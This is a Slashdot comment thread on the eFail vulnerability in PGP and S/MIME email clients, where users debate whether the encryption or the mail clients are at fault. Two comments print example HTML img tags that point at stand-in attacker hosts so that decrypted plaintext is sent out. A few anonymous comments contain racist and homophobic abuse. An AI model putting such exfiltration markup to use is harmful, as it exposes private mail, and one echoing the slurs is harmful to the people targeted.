Slashdot Mirror


Encrypted Email Has a Major, Divisive Flaw (wired.com)

An anonymous reader quotes a report from Wired: The ubiquitous email encryption schemes PGP and S/MIME are vulnerable to attack, according to a group of German and Belgian researchers who posted their findings on Monday. The weakness could allow a hacker to expose plaintext versions of encrypted messages -- a nightmare scenario for users who rely on encrypted email to protect their privacy, security, and safety. The weakness, dubbed eFail, emerges when an attacker who has already managed to intercept your encrypted emails manipulates how the message will process its HTML elements, like images and multimedia styling. When the recipient gets the altered message and their email client -- like Outlook or Apple Mail -- decrypts it, the email program will also load the external multimedia components through the maliciously altered channel, allowing the attacker to grab the plaintext of the message.

The eFail attack requires hackers to have a high level of access in the first place that, in itself, is difficult to achieve. They need to already be able to intercept encrypted messages, before they begin waylaying messages to alter them. PGP is a classic end-to-end encryption scheme that has been a go-to for secure consumer email since the late 1990s because of the free, open-source standard known as OpenPGP. But the whole point of doing the extra work to keep data encrypted from the time it leaves the sender to the time it displays for the receiver is to reduce the risk of access attacks -- even if someone can tap into your encrypted messages, the data will still be unreadable. eFail is an example of these secondary protections failing.

116 comments

  1. Dupe by Anonymous Coward · · Score: 0, Informative

    Same story still on the front page.

    1. Re:Dupe by ls671 · · Score: 1

      The stories were encrypted so the editor could't read their contents and tell they were dupes. The stories are proof of concept by themselves and only become readable once published on Slashdot with the help of the MIME hack.

      --
      Everything I write is lies, read between the lines.
    2. Re:Dupe by Lunix+Nutcase · · Score: 1

      Should have included HTML so that it could be decrypted surreptiously.

  2. A silver lining? by imcdona · · Score: 1, Interesting

    I'm hoping this will spur development of a new encryption standard that's both secure and easy to use.

    1. Re:A silver lining? by gweihir · · Score: 3, Insightful

      No need. The morons making "modern" mailers just need to learn about the basics of security.

      --
      Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
  3. Encrypted email + html = fail by Anonymous Coward · · Score: 2, Informative

    If youâ(TM)re serious about your email security the first thing you would do is disable HTML email in your client. This is an attack thatâ(TM)s easily mitigated by observing the bare minimum of best practices.

    1. Re:Encrypted email + html = fail by fj3k · · Score: 1

      I don't send HTML emails. Am I safe?
      No. The attacker can change encrypted text/only emails to HTML emails. You need to disable viewing HTML email to increase protection from EFAIL attacks.

      It's easy to protect the encrypted part from this. Add <![CDATA[ to the start and ]]> to the end, and even if someone has HTML and external content fetching switched on, the attackers get nothing.

      --
      Two men claimed to have walked into a bar. Only one had the bruises to prove it.
    2. Re:Encrypted email + html = fail by 19thNervousBreakdown · · Score: 1

      CDATA is trivially broken out of.

      --
      <xml><I><am><so><damn>Web 2.0</damn></so></am></I></xml>
    3. Re:Encrypted email + html = fail by fj3k · · Score: 1

      Sure. But this is about an attacker adding HTML outside your content to steal it. The attacker can't add anything inside your content, because when they are modifying the email it's still encrypted. So if you can make your content CDATA, then the attacker can't steal it.

      --
      Two men claimed to have walked into a bar. Only one had the bruises to prove it.
    4. Re:Encrypted email + html = fail by Sique · · Score: 1

      This is nice and dandy, but no migitation of the risk at hand. If the attacker got hold of your encrypted emails since the advent of OpenPGP or S/MIME, he still can read it, and you can't retroactively change the emails already sent.

      --
      .sig: Sique *sigh*
    5. Re:Encrypted email + html = fail by Anonymous Coward · · Score: 0

      What? You have to open it for him to get the data. Neither attack is a decryption attack. Both attacks rely on you using your client to read and decrypt the email and then use active content errors to forward that data to a server.

    6. Re:Encrypted email + html = fail by Anonymous Coward · · Score: 0

      The second attack does allow the attacker to add to the encrypted text; yes that breaks the validity of the signature, but many clients will still decryt and process the message.

    7. Re:Encrypted email + html = fail by Anonymous Coward · · Score: 0

      HTML email in general is a fail. Why have an email where the information in the mail is subject to an external authority? By the time the receiver reads the mail, the information originally sent might no longer exist.

    8. Re:Encrypted email + html = fail by BronsCon · · Score: 2

      I think you mean external content in email is a fail, because what you describe is a problem with external content and not HTML.

      --
      APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
  4. I don't get the issue with PGP? by Anonymous Coward · · Score: 0

    To me this sounds like entirely an email client issue AFTER the message has been decrypted. or malware that manages to alter the message BEFORE it gets encrypted.

    This does not sound like any kind of flaw with PGP itself, just in the leaky sieve of an email client that users choose to use with it.

    1. Re:I don't get the issue with PGP? by gweihir · · Score: 5, Informative

      It is not a flaw in PGP/GnuPG. It is a flaw in the email software, or rather several flaws in combination. The combination seems to be widespread unfortunately.

      --
      Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
    2. Re:I don't get the issue with PGP? by Cajun+Hell · · Score: 1

      It is not a flaw in PGP/GnuPG.

      Wait a minute. My understanding is that the attacker changed the ciphertext and got predictable plaintext to come out. I didn't expect that.

      Fuck HTML email, but it sounds like we still have a problem.

      --
      "Believe me!" -- Donald Trump
    3. Re:I don't get the issue with PGP? by Anonymous Coward · · Score: 0

      The message is supposed to have a digital signature. This manipulation screws that up, and the digital signature is stripped away. GnuPG raises a warning to the client about this, that the client then ignores and proceeds to auto-decrypt anyhow.

    4. Re:I don't get the issue with PGP? by Anonymous Coward · · Score: 0

      If the attacker managed to change the cyphertext and get a predictable output then that means PGP as a whole is broken and should not be used for ANYTHING. even just simply encrypting a file to sit on your file system and never touch the email stream or internet as a whole

    5. Re:I don't get the issue with PGP? by Anonymous Coward · · Score: 0

      Well that is a major DUH if bugs in the client let just signed unencrytped messages to be modified after signing. The signing of PGP will still detect the change and notify. If the client handles this improperly, this is once again not a PGP bug but one of the email client(s) being used. your best bet is probably not to use the email client integration and just goto manually verifying the email with PGP just as anyone who actually uses PGP probably knows how to do since client integration has always been kind of broken.

    6. Re:I don't get the issue with PGP? by kav2k · · Score: 4, Informative

      PGP has message integrity checks.

      When operating on files, PGP simply refuses to decrypt malformed (tampered) messages.

      However, when invoked to process as a pipe, it will spit out the plaintext, then a warning.

      Even though the client is at fault for ignoring the warning, arguably, PGP should be consistent and spew out only the warning.

    7. Re:I don't get the issue with PGP? by Anonymous Coward · · Score: 0

      It is not a flaw in PGP/GnuPG. It is a flaw in the email software, or rather several flaws in combination. The combination seems to be widespread unfortunately.

      Errr.. no? On what basis do you believe that? To quote from the "The CBC/CFB Gadget Attack" section of the announcement.

      Second, we describe the novel CBC/CFB gadget attacks which abuse vulnerabilities in the specification of OpenPGP and S/MIME to exfiltrate the plaintext.

      That sounds pretty much like a PGP vulnerability in both the standard and the implementation of the standard.

    8. Re:I don't get the issue with PGP? by Anonymous Coward · · Score: 0

      Well that is a major DUH if bugs in the client let just signed unencrytped messages to be modified after signing. The signing of PGP will still detect the change and notify. If the client handles this improperly, this is once again not a PGP bug but one of the email client(s) being used. your best bet is probably not to use the email client integration and just goto manually verifying the email with PGP just as anyone who actually uses PGP probably knows how to do since client integration has always been kind of broken.

      From the article:

      Second, we describe the novel CBC/CFB gadget attacks which abuse vulnerabilities in the specification of OpenPGP and S/MIME to exfiltrate the plaintext.

      That sounds pretty much like a PGP vulnerability in both the standard and the implementation of the standard.

    9. Re:I don't get the issue with PGP? by Anonymous Coward · · Score: 0

      The PGP part of the issue is that PGP encryption is malleable and additional encrypted text can be added to encrypted text (the attacker must know or guess one block of plaintext for this to work) and it can all still be encrypted, but as far as I can see that attack would break the validity signature which should be an indication that the message is not legitimate. But, many clients will still happily automatically decrypt and process the message anyway (or the user may still wish to view the message) at which point the HTML-mail flaws allow the data to be exfiltrated.

    10. Re:I don't get the issue with PGP? by Anonymous Coward · · Score: 0

      S/MIME starts the encrypted message with predictable plaintext, so an attacker can modify the first part of the message.

    11. Re:I don't get the issue with PGP? by Anonymous Coward · · Score: 0

      PGP can't. It's operating in pipe mode and the necessary to detect this at the end. The whole message has already been streamed back by that point.

    12. Re:I don't get the issue with PGP? by gweihir · · Score: 2

      Wait a minute. My understanding is that the attacker changed the ciphertext and got predictable plaintext to come out.

      That would actually not be a problem. In Plublic-Key Crypto, the attacker can always do that, because anybody can encrypt messages for a recipient.
      The problem is a combination of broken MIME decoding in combination with ignoring an error message from PGP/GnuPG and a really stupid decision to load external content when an email is displayed.

      --
      Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
    13. Re:I don't get the issue with PGP? by Anonymous Coward · · Score: 0

      Putting it into a buffer to check, would be sufficient. It wouldn't be secure to execute as a stream.

    14. Re:I don't get the issue with PGP? by Cajun+Hell · · Score: 1

      The problem is a combination of broken MIME decoding in combination with ignoring an error message from PGP/GnuPG and a really stupid decision to load external content when an email is displayed.

      Ok, let's ignore that for right now, and just hypothesize that HTML email doesn't exist. Let's not try to protect against someone who is doing something silly anyway. No external content. I think we still have a problem even in that scenario.

      My understanding is that the attacker changed the ciphertext and got predictable plaintext to come out.

      That would actually not be a problem. In Plublic-Key Crypto, the attacker can always do that, because anybody can encrypt messages for a recipient.

      (I guess I need to read more about how this block exploit works, but I'll talk out my ass anyway because this is the Internet.) The email isn't encrypted with the victim's public key; a session key is encrypted with the victim's public key and the session key is used to encrypt the email.

      Let's say I take an encrypted email that you were sent earlier and I prepend a block. I can't get the session key that encrypted the rest of the email; I have to generate a new one and encypt that session key with your public key, and encrypt my prepended block with that session key. Sure, you (the victim) will decrypt that. But at the end of that block, the IV for the next block (the data that we're replaying) is going to be something totally different than it had been in the original message. The rest of the message should decrypt to garbage. Yet it sounds like someone figured out how to make that not happen. That's what I'm trying to understand.

      --
      "Believe me!" -- Donald Trump
    15. Re:I don't get the issue with PGP? by gweihir · · Score: 1

      No problem in that case. This exploit depends on wrongly embedding the encrypted part of the email into html after decryption and then doing an external fetch of an image using it. Basically (simplified a lot), if your mailer transforms <img src="http://evil.com/[encrypted]"> to <img src="http://evil.com/my_secret_message">, then "my_secret_message" gets sent to evil.com as part of the query. The attacker would before that inject the http part into the non-encrypted part of the message.

      For this to work, you need a whole lot of pretty extreme stupidity:
      - mixed encrypted+non-encrypted messages
      - broken mime decoding that just concatenates things together
      - broken decryption use that does not treat results from decryption specially
      - broken email display that fetches external links like images.
      - no message whole-message integrity protection in (partially) encrypted messages or ignoring error reports form that integrity protection

      These are all faults on the side of the mailer, probably due to large enthusiasm, small skills, a mistaken belief that "new is better" and absolutely no understanding of software security.

      --
      Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
    16. Re: I don't get the issue with PGP? by Anonymous Coward · · Score: 0

      YOU ARE A FAGGOT

  5. Old news, already posted on Slashdot by msmash by Anonymous Coward · · Score: 0

    https://it.slashdot.org/story/18/05/14/149222/attention-pgp-users-new-vulnerabilities-require-you-to-take-action-now

    1. Re:Old news, already posted on Slashdot by msmash by Anonymous Coward · · Score: 0

      Miss Smash got there first!

  6. Dupe by Lunix+Nutcase · · Score: 0

    Is the flaw that Slashdot editors posted a duped story?

  7. HTML in email by Anonymous Coward · · Score: 2, Informative

    was always a bad idea.

    1. Re:HTML in email by Anonymous Coward · · Score: 0

      So we should go back to RTF? Or heaven forbid... back to plain text? How about we go the whole nine yards... where email was a command from FTP? Fix the problem don't complain about implementation!

      Excerpt from legacy information at the URL: https://cs.stanford.edu/people/eroberts/courses/soco/projects/1999-00/internet/email.html

      The Origins of E-mail
      Leading up to E-Mail
      Even before the development of ARPANET, computer scientists at MIT had developed a program called MAILBOX that allowed for the exchange of messages between time-sharing computers within one lab. This did not seem to improve convenience greatly, however, because people within the lab could easily step over to the next office and deliver the message in person. Later, in 1972, Ray Tomlinson at BBN, designed a messaging program for use on the PDP-10 computer. The program consisted of two individual programs, SNDMSG for sending mail and READMAIL, a program to retrieve mail. These were meant to work on the BBN-designed TENEX operating system in the PDP-10 computer. Fortunately for the development of email, many of the machines on ARPANET were PDP-10's, running Tenex. At the time, Tomlinson had just finished writing a file transfer protocol, CPYNET. He experimented with attaching SNDMSG and READMAIL to the protocol, thus making it possible to send messages outside of a time-sharing system. The file-transfer protocol took messages from one machine and "dropped" them into another. These early experiments made possible the next step towards email over the ARPANET.

      Implementing Email on the ARPANET
      Concurrent to Tomlinson's work in 1972, Abhay Bhushan was finishing the file-transfer protocol for the ARPANET. If Tomlinson was able to attach his mail programs to CPYNET, it was only logical to attach them to the ARPANET's file-transfer protocol. SNDMSG and READMAIL became MAIL and MLFL, bringing email to the ARPANET.

    2. Re:HTML in email by ngc5194 · · Score: 5, Interesting

      "So we should go back to RTF? Or heaven forbid... back to plain text?"

      Yes, or rather, there are some of us never left plain text email, including using fixed width fonts and 80 column lines. If you send me HTML-only email, there's a really good chance I'll never bother to read it. I haven't been informed of a situation where in retrospect I have come to regret this policy.

      I'm no Luddite, but not every "advancement" is an improvement.

    3. Re:HTML in email by Anonymous Coward · · Score: 0

      So we should go back to RTF? Or heaven forbid... back to plain text?

      Hmm If I was going to look at email, I might do something like this..

      1. No external content. Images should be in attachments, or not there, preferably the latter. If your sending me an advertisement, I can read through your specials faster if they are in text with a few key images and that's it. If you want the images can be in a zip file or other archive format, but just images. Other attachments would be separate.

      2. Surprise emails of a non trivial size can go in your spam folder with a record of the text version of the content and an analysis of the email. You can click if you really want to open/download the whole thing, but it still won't tell the sender that you did so, unless you actually open an exe or script they attach..

      3. Very limited scripting. You can open a new web page and that is about it.

      4. Limited HTML is fine. If it becomes Turing complete, then that is too far. If it can read files on your computer, that is too far. If it notifies anyone that you read the email, then that is too far.

      5. I tend to favor email supporting some standard css that doesn't come with the email. You define your own css (if you want to), or select from standards.

      6. Email readers should probably, for best results, use a limited set of functionality. For instance if your viewing gmail, your web browser should know that your viewing gmail and just run a renderer that physically can't interpret anything that shouldn't be there.

    4. Re: HTML in email by Anonymous Coward · · Score: 0

      So we should go back to RTF? Or heaven forbid... back to plain text?

      We can't. That Hindu chimp Shiva Ayyadurai owns text email because he wrote some shit back in the 70s that he called email. Now we have to bow down and pay homage to his curry scented posterior just to think about it. I'd say he needs to rot in hell but he was married to Fran Drescher so he'd probably consider it a vacation at the Four Seasons.

    5. Re: HTML in email by Anonymous Coward · · Score: 0

      Your post could almost be useful if it included facts and eliminated all the racist crap which doesn't help you make the point and really is just a huge flashing neon sign saying "I a dick! I'm a dick!"

    6. Re:HTML in email by CharlieG · · Score: 2

      Agreed - I have my email reader set to "plaintext only" - and would specifically have to tell it to display HTML

      --
      -- 73 de KG2V For the Children - RKBA! "You are what you do when it counts" - the Masso
    7. Re:HTML in email by bplipschitz · · Score: 1

      Neither am I a luddite, but I am a pround RetroGrouch. Plaintext email always has been, and always will be the way to go. Let's here it for 80 character column widths and typewriter-spaced fonts!

    8. Re:HTML in email by OneAhead · · Score: 1

      So we should go back to RTF? Or heaven forbid... back to plain text? How about we go the whole nine yards... where email was a command from FTP? Fix the problem don't complain about implementation!

      It would appear that you are trying to make the point for introducing an "uninsightful" mod option.

      * In what parallel universe has RTF ever been a widely accepted standard for e-mail content?

      * In what parallel universe has e-mail ever been a command from FTP? The "file transfer protocols" referred to in your link have very little to do with FTP. Or are you confusing FTP with a command-line? Either way, you're sounding like you're using a couple of historical sources out of context to puzzle together a totally distorted version of a reality many of us lived through. Now get off my lawn. And leave your geek card.

      * Last but not least, what's so "heaven forbid" about plain text anyway? And if that's your opinion, what are you doing on a site whose markup is so limited that it annoys even me? Plain text is an efficient mode of communication that avoids a great many issues (even when creating some itself). I'd go out on a limb and say that a vast majority of modern textual communication is being performed without allowing the nearly unlimited markup options of html e-mail. Think the instant-message-fad-du-jour, cell phone text messages, twitter, all kinds of discussion forums, reddit, disqus, the youtube comments sections,... In the specific case of discussion forums, it is merely a natural adaptation to the fact that html has unlimited abuse potential. As seen in e-mail...

      /"\
      \ / ASCII Ribbon Campaign
      .X against HTML e-mail
      / \

  8. Dupe and Wrong by HeckRuler · · Score: 4, Informative

    Old news and it's not PGP and S/MIME, but the mail clients that can use them: Thunderbird and Apple Mail and Outlook. Probably also affects clients using GPG. Or any other encryption scheme.

    PGP is not broken. GPG is not broken. S/MIME is not broken. The flaw is in how mail clients display email. Admittedly, a lot of them have the same issue.

    1. Re:Dupe and Wrong by Anonymous Coward · · Score: 0

      how the message will process its HTML elements

      Anybody sending encrypted emails that are not sent as plain text?

    2. Re:Dupe and Wrong by Anonymous Coward · · Score: 0

      Didn't even know it was possible.

    3. Re:Dupe and Wrong by Gravis+Zero · · Score: 3, Funny

      PGP is not broken. GPG is not broken. S/MIME is not broken. The flaw is in how mail clients display email.

      I don't buy it. I mean, if there were just a mail client issue then why am I already flailing my arms and screaming? ;)

      --
      Anons need not reply. Questions end with a question mark.
    4. Re:Dupe and Wrong by Lunix+Nutcase · · Score: 2

      Because you’re name is Chick N. Little?

    5. Re:Dupe and Wrong by Anonymous Coward · · Score: 0

      Not anyone with any sense.

    6. Re:Dupe and Wrong by Anonymous Coward · · Score: 0

      And surprise, it's because of the ill advised rendering of HTML in email.

    7. Re:Dupe and Wrong by Anonymous Coward · · Score: 1

      Because you have an incredibly small penis.

    8. Re:Dupe and Wrong by Anonymous Coward · · Score: 0

      But if the attacker modifies the mail its simple to change it to html so its better to only use a non-html klient for encrypted mails.

    9. Re:Dupe and Wrong by Anonymous Coward · · Score: 0

      I can't believe how many people have this misconception that it's not a PGP and S/MIME vulnerability. Have you even read the fucking paper?

  9. No surprise by Anonymous Coward · · Score: 0

    This is why I never use encrypted email. I've never trusted it.

    1. Re:No surprise by Anonymous Coward · · Score: 0

      the encryption isn't the weak point.. It's using more modern aspects like HTML widgets and "pretty goodness". As far as I can tell from TFA, the attack only works when the client itself is compromised. Which might suggest that email which isn't encrypted could fall victim to similar exploits.

      This isn't any different than putting trust in something like onion routing, or proxy servers, or VPN services etc without really understanding what it is they do, and don't do, and without knowing what those who would try to find you might or might not look for.

      It's like assuming you can fart in a room without making a noise, will somehow ensure you wont get caught because it wasn't audible, feels a little under thought out....

      I dunno, maybe the real exploit is the fact that it's so well trusted, and when using it, one might be less careful?

    2. Re:No surprise by Anonymous Coward · · Score: 0

      It's like assuming you can fart in a room without making a noise, will somehow ensure you wont get caught because it wasn't audible

      You misunderstand the entire purpose of farting in a room without making noise. The point is element of surprise. An audible fart gives fair warning to your victim prompting them to evacuate without suffering the lethal effects. Silence lets the fart announce its own presence ensuring the victim enjoys the full effect. Noisy farts are only good for weak gas with nothing to back it up.

  10. Slashdot has a major, repetitive flaw by DontBeAMoran · · Score: 3, Informative

    (see title)

    --
    #DeleteFacebook
    1. Re:Slashdot has a major, repetitive flaw by sconeu · · Score: 0
      --
      General Relativity: Space-time tells matter where to go; Matter tells space-time what shape to be.
  11. Wired misunderstands exploiting the flaw. by Anonymous Coward · · Score: 4, Insightful

    This sentence stuck out to me:

    The eFail attack requires hackers to have a high level of access in the first place that, in itself, is difficult to achieve. They need to already be able to intercept encrypted messages, before they begin waylaying messages to alter them.

    My response would be that if you're not worried about someone intercepting your email, then why are you encrypting it in the first place? This is essentially a MiTM attack, which is exactly what encryption is designed to protect against. If it can't protect against it, the encryption has completely failed.

    I'd say that's the case here. This isn't one of those silly edge cases certain security people jump up and down over nothing. Like "well first you need root access, and then you can get an even higher level of security access!". This is a real, bona-fide hack. Congrats to the researchers who found something real.

    1. Re: Wired misunderstands exploiting the flaw. by Lunix+Nutcase · · Score: 1

      Wired misunderstands exploiting the flaw.

      After reading your post, I can only assume this title was being ironic? You seem to understand it even less than Wired.

  12. That's terrible she did that today by Anonymous Coward · · Score: 0

    She should have done it yesterday - mother's day

    1. Re:That's terrible she did that today by techno-vampire · · Score: 1

      There is no formal Mother's Day in Israel, because it's evolved into an informal Family Day. And, as Israel uses the Hebrew Calendar, it falls on Shevat 30, which can be anywhere from January 30 and March 1.

      --
      Good, inexpensive web hosting
  13. No. Wrong. Try again. by thesupraman · · Score: 0

    Or you could get a clue.

    It is NOT a MITM attack, not even close.
    It is a VERY dubious 'attack' that required the email to load other, non secures content via normal http which they then ALSO intercept, inject content that magically takes control of their computer and steals the unencrypted email. You would never several layers of flaw and a high level of network control over the targets computer in the first place.
    Basically, if they use a normal browser and you had this level of control then you could own their computer anyway, so the 'email' part is of exactly zero relevance.

    Mitigation: Dont send emails with external http references (quite rare anyway for anything normal outside marketing flyers), or use an email program that doesnt load them by default, or have them loaded from a secure (https) source, or do just about ANYTHING competently.

    This is like saying locking your front door has a HUGE SECURITY PROBLEM because you left the back door and all the windows wide open..

    1. Re:No. Wrong. Try again. by woozlewuzzle · · Score: 3, Informative

      Bad guy intercepts encrypted email he wants to read. (MITM). He injects additional HTML data into the email (in his possession). He sends the email on to the original intended recipient. Recipient opens email. PGP or S/MIME plugin automatically decrypts the message and hands the output back to the email client for display. Mail client interprets the HTML, which happens to send the now-decrypted text to a webserver under the attacker's control.

      So, yes, this does act as MITM. It does not require the attacker to have previously compromised the victim's system.

    2. Re:No. Wrong. Try again. by Lunix+Nutcase · · Score: 1, Insightful

      Bad guy intercepts encrypted email he wants to read. (MITM). He injects additional HTML data into the email (in his possession).

      Except the email is still encrypted at this point. How could they inject HTML into an encrypted email?

      So, yes, this does act as MITM.

      Except the scenario you invented is not what this flaw is about and flaw doesn’t allow tampering with the encrypted email while in transit. The email isn’t decrypted until it reaches the email client and the email client has to be one of the buggy ones that don’t actually check the failure return.

    3. Re:No. Wrong. Try again. by Dahan · · Score: 5, Informative

      Except the email is still encrypted at this point. How could they inject HTML into an encrypted email?

      If you don't know the answer to that, maybe you should actually read the description of the flaw?

      There are actually two flaws: one is a buggy mail reader application; it should be straightforward to fix the bug. The other is a problem with the spec for encrypting emails (i.e., S/MIME, or whatever the spec for PGP-encrypted email is called).

      The mail reader bug is easier to explain: the encrypted email is not 100% encrypted. The contents are encrypted. But MIME messages contain some unencrypted metadata, such as the headers and boundary markers. So the way you inject HTML into an encrypted email is to add a new MIME text/html part before the encrypted part that contains: <img src="http://attackers.website/, and add a new MIME text/html part after the encrypted part that contains: ">. When the buggy mail reader processes the various MIME parts, it decrypts the encrypted part, resulting in HTML plaintext. Now here's the bug: it then joins all the HTML parts into a single HTML document for display, and that results in <img src="http://attackers.website/decrypted content">. So the mail reader app sends an HTTP request to the attacker's website containing the decrypted message in the URL.

      The other flaw has to do with a known plaintext attack; if you want to know how that works, RTFA.

    4. Re:No. Wrong. Try again. by woozlewuzzle · · Score: 0

      You may want to read the efail website with the description of the exploits. It *is* injection. Flaw one inserts HTML *around* the ciphertext. The second makes use of flaws in CBC to inject encrypted HTML into the message. While PGP can detect this, the email clients often ignore the warning and display anyway.

    5. Re:No. Wrong. Try again. by Anonymous Coward · · Score: 0

      No, it is MITM. Read the article and focus on the first "Direct Exfiltration" method. "The attacker creates a new multipart email", and embeds the email contents of the original ENCRYPTED message inside of an block, sending the encrypted contents to a website. The Mail client decrypts the contents before sending it on to the malicious server.

    6. Re:No. Wrong. Try again. by Anonymous Coward · · Score: 0

      This still isn't really a MITM attack. While an instance of this attack may involve an attacker inserting directly into the chain of mail servers and intercepting and modifying message in flight, that is not an essential element; the attacker just needs to obtain encrypted messages which could just as easily be from a direct hack or from an old hard drive from ebay (or from the NSA's archive of wiretapped Internet traffic).

    7. Re:No. Wrong. Try again. by Anonymous Coward · · Score: 0

      Thanks for the human-readable explanation.

      So the fix, as usual, is to disable HTML in your mail client.

    8. Re:No. Wrong. Try again. by Anonymous Coward · · Score: 1

      Don't know why Slashdot is now completely burying anon posts (logged in users only?) but how is this any different from every other information leaking bug? It's evil, always was yet a large part of the population and Governments are willing to let Facebook and Google get away with it.

      If you use HTML and have remote images (few clients lump all remote requests into this), you're fucking retarded. I'm tired of telling people, they won't listen. So get hacked, and pay up when you need support.

      By the way these are the same class of people who think it's OK to use return receipt and get pissed when you don't send them.

    9. Re:No. Wrong. Try again. by Anonymous Coward · · Score: 1

      It doesn't need to be a MITM. It could be someone who has access to old stored mail on your server and gets some old encrypted message, fucks with it and resends it to you. It doesn't even have to be your own mail server, could be the sender's or another recipient's.

    10. Re:No. Wrong. Try again. by Anonymous Coward · · Score: 2, Insightful

      So the fix, as usual, is to disable HTML in your mail client.

      And also to persuade every person that *you* send encrypted email to to do the same. Good luck with that.

    11. Re:No. Wrong. Try again. by Obfuscant · · Score: 1

      If you don't know the answer to that, maybe you should actually read the description of the flaw?

      Tried that. Followed TFA link to TFA, wound up at Wired which promptly put up a sign-up form over the top of the article that could not be dismissed in any way I could find. Other than maybe signing in, which ain't. Thanks /. for Wired clickbait.

      Your description explains things. It's a stupid bug -- if the contents of an email are changed, then the decryption should fail, period. Headers yes, they need to be mutable (some of them), but body, no.

      What email client author actually thought that someone would care enough to encrypt the message and then include an unencrypted HTML alternative?

      For many years I had a procmail recipe that changed any Content-Type that said HTML to text/plain. Then I realized that some stupid email clients looked at the text in the body, guessed it was HTML, and rendered it anyway.

      The other flaw has to do with a known plaintext attack; if you want to know how that works, RTFA.

      Sigh. Wired doesn't agree with you.

    12. Re:No. Wrong. Try again. by Anonymous Coward · · Score: 0

      Basically, if they use a normal browser and you had this level of control then you could own their computer anyway, so the 'email' part is of exactly zero relevance.

      Not really. When you use a browser, you visit the pages you want to visit (mostly). With email, you get a message from outside. Instead of looking something up, someone looks *you* up and sends whatever to you. That is where the 'email part' comes in, and it is highly relevant because not visiting shady websites is easy to keep to, while not opening emails is sort of against the point of email.

      The obvious solution would be to never let the email client connect to anything at all except the email server, and to never let it execute code that came in a mail. We need a new standard for simple formatting and possibly image embedding, but no more.

  14. Fancy website? Carry on. by Anonymous Coward · · Score: 0

    Here's a "pro tip" from grandpa:

    When you see a fancy website for an exploit, chances are that the authors are attention-hungry acclaim-mongerers that want something for their resumés. Responsible security researchers report the vulnerabilities responsibly. Websites like this are pure ego-stroking.

  15. Solution by markdavis · · Score: 1

    Don't use HTML Email and the problem goes away. I find that 99% of the time, there is no need for an HTML part to Email, anyway. This whole vulnerability is due to HTML parts being displayed AUTOMATICALLY and WITH loading external parts/links. (If you want to show something external, then just send a link, I don't need a web site "Emailed" to me).

    Or, use a "real" Email client (like Claws and perhaps others) that allows you to control how Email is displayed. For example, Claws will happily-

    1) Not display the HTML part at all and just show plain-text (the default).
    2) If the Email is in violation of rules and has no plain-text part, it will just invent one out of the HTML body.
    3) If you DO want it to display the HTML (with a plugin), then there are settings to disable any external component loading

    1. Re:Solution by Anonymous Coward · · Score: 0

      Or, use a "real" Email client (like Claws and perhaps others)

      Oh my good lord, I remember the last time I tried to use Claws. I spent probably two or three days tweaking it to not be terrible.

      It was a hopeless cause.

    2. Re:Solution by 93+Escort+Wagon · · Score: 1

      And if you insist on using HTML email, turn off remote content loading. I know Apple Mail can do this; I recall Thunderbird doing it; and I’m pretty sure most others can as well.

      It doesn’t really interfere with much of anything. You are presented with a button which allows you to load the remote content, if you so choose - the mail client just doesn’t do it by default.

      --
      #DeleteChrome
    3. Re:Solution by Anonymous Coward · · Score: 0

      Why?

      Does it not do the things that an email client is supposed to do?

      I mean, I assume it can send email; I'll go out on a limb and assume it can receive email... is it that you might have to click a link in an email to open something in a browser?

    4. Re:Solution by markdavis · · Score: 1

      >"Oh my good lord, I remember the last time I tried to use Claws. I spent probably two or three days tweaking it to not be terrible."

      Hmm, I find Claws to be wonderful. It is fast, easy to use, portable, reliable, extremely configurable, and very flexible. There are a few odd things about it, but of all Email systems and clients I have used, I like it the most.

    5. Re:Solution by Anonymous Coward · · Score: 0

      Your recollection about Thunderbird is correct: it too can disable remote content loading. That is always how I configure it, because otherwise you open yourself up to an extra helping of strip mining your behavior.

    6. Re:Solution by Anonymous Coward · · Score: 0

      Your second solution (using Claw) works, your first solution does not (don't use HTML email). It doesn't matter the content that you or your contact are sending (html or txt emails). The malicious agent will take your plain-text email (or html), inject it into a custom html email, and then send you the new HTML email. Then your mail client decides whether to render the HTML (and decrypt the original email, sending it to a malicious server immediately afterward) or to leave the html in ascii.

    7. Re:Solution by jeff4747 · · Score: 1

      But if I disable HTML email, how will I send every message in blinking, 24-point Comic Sans?

  16. Broken mailers by Spazmania · · Score: 3, Insightful

    Any email program which respects html instructions to automatically load external content was badly broken from a security perspective even before you consider the errors the researchers here exposed.

    Any email program which directly fixes the hack without barring external content from loading when the email opens remains badly insecure.

    --
    Moderating "-1, Disagree" is simple censorship. Have the guts to post your opinion.
    1. Re:Broken mailers by MichaelSmith · · Score: 0

      Okay but what if it has to execute javascript which was embedded in the email message. A lot of html pages won't render without js tweaking them these days. And the JS is going to grab the plaintext and phone home.

      Personally I would paste the ascii armoured encrypted text into an external PGP application to decrypt.

    2. Re: Broken mailers by Anonymous Coward · · Score: 0

      Email is special. No email client will allow Javascript to be executed. Hell, for the longest time, most CSS didn't even work.

    3. Re:Broken mailers by Mr.+Slippery · · Score: 5, Informative

      but what if it has to execute javascript which was embedded in the email message.

      But it doesn't have to do that.

      In fact, if it does do that, it's broken.

      Sending me executable code I didn't request is an attack. My e-mail client should never execute code from a message. Never. Not under any circumstances.

      --
      Tom Swiss | the infamous tms | my blog
      You cannot wash away blood with blood
    4. Re:Broken mailers by Anonymous Coward · · Score: 0

      If there is javascript, or any other kind of script, embedded in an email message, then it is no longer an email message.

      Full stop.

      Captcha: "soaped." As in don't drop it. Oh, the irony.

  17. Yeah, I'd say that's 'pretty good' privacy by Anonymous Coward · · Score: 0

    eh?

  18. Shoulder by dohzer · · Score: 1

    Or they could just read it over your shoulder. Eitehr way.

  19. Aren't there hash checks builtin? by Anonymous Coward · · Score: 0

    I don't get it and I haven't RTFA. From the summary it seems that the attacker manipulates the encrypted message in way that makes it do certain stuff in HTML. Do they mean that they manipulate it in a way that they add external links to be loaded at rendering time? If so, doesn't the ciphertext also have a hash check that will make any attempt to tamper with the data evident at decryption since the hashes won't match?

    1. Re:Aren't there hash checks builtin? by Todd+Knarr · · Score: 1

      They don't manipulate the encrypted message itself. They manipulate the unencrypted message containing the encrypted message, adding blocks of HTML before and after it that make the encrypted message appear to be part of a URL referring to an external resource like an image. It relies on eg. the practice of many email clients of stitching together multiple HTML sections in a multi-part message into a single HTML part and rendering that instead of the original multiple parts.

